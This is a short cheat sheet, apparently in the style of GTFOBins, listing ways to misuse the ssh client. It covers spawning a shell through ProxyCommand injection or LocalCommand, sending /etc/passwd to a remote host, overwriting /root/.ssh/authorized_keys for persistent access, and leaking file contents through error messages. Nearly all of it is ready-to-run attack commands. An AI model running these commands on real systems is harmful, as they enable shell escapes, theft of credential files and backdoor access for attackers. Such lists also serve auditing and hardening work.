Spawn interactive shell on client. Does not require a successful connection.

ssh -o ProxyCommand=';sh 0<&2 1>&2' host 

Spawn interactive shell on client. Requires a successful connection towards `host`.

ssh -o PermitLocalCommand=yes -o LocalCommand=/bin/sh host 

Sends a local file (`/etc/passwd`) to a remote SSH server and saves it in a location (`/tmp/out`).

ssh host "cat /tmp/out" < /etc/passwd 

Retrieves a remote file from an SSH server (`/tmp/infile`) and saves it to a local destination (`/root/.ssh/authorized_keys`).

ssh host "cat /tmp/infile" > /root/.ssh/authorized_keys 

Reads a file and outputs it in an error message.

ssh -F /etc/passwd host 

Does not require a successful connection.

ssh -o ProxyCommand=';uname -a 1>&2' host